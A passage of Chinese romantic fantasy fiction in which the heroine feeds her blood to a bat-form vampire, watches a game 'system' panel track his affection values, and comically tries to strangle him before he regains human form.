她坐在桌前,拉开笼子门,捏着顾小秋一起钻到被窝里。
在被窝里,她的心渐渐安定。
“快醒醒。”金禾晃动着闭眼的顾小秋,顾小秋没有丝毫反应,金禾深吸一口气,视死如归地把手递了上去,“你快喝,等喝完变回去,我们一起把江子墨的头当足球踢,你记得轻点咬。”
窸窸窣窣的动静在耳道里被不断放大,手指被含住,金禾预想中的疼痛没有到来,她呼吸渐渐加快,浑身血液慢慢沸腾起来。
她仿佛被扔到了一个按摩床了,浑身上下都被揉捏着。
面板忽然弹出,顾言秋的相关数值在疯狂变化,厌恶值不断下降,偏爱值不断上升。
70、80、90、91……92、93……
金禾的怨气消失殆尽,她屏住呼吸,在数值到达“99”的那一刻,四周的动静全部停下来了。
含着她手指的顾小秋不再动弹,它慢慢闭上了眼睛。
金禾不允许到手的鸭子飞了,拿手指往顾小秋的嗓子眼捅了捅。
她再次抬眼,面板上的偏爱值和厌恶值瞬间归零。
啊啊啊啊!我掐死你个王八蝙蛋,吸血不认人!
“系统,我要掐死他。”
她抽出湿漉漉的手指,一把掐住顾小秋的脖子。
你不变回去,也不快我攻略值,我掐死你。
【宿主,攻略不是这样的,况且你掐不死它的……】
君子报仇十年不晚,金禾总能找到时机掐死它。
但金禾是小人,她认为现在就是最好的时机。
她慢慢加重手上的力道,手上的顾小秋没有反抗。
一股甜甜的香气在被窝里弥漫开来,它倏然睁开眼睛,直勾勾盯着金禾。
金禾的手感受到一种不可抵抗的力量,将她的手顶开,原本由手掐着的纤细脖颈变得粗壮。
耳边那道不属于自己的呼吸声加重,她收回手,往后挪动,给化为人形的顾言秋腾位子。
她默默收回手,她的脸正对顾言秋的脖子,她抬头也不是,低头也不是。
“你为什么想掐我?”
“因为你不听话。”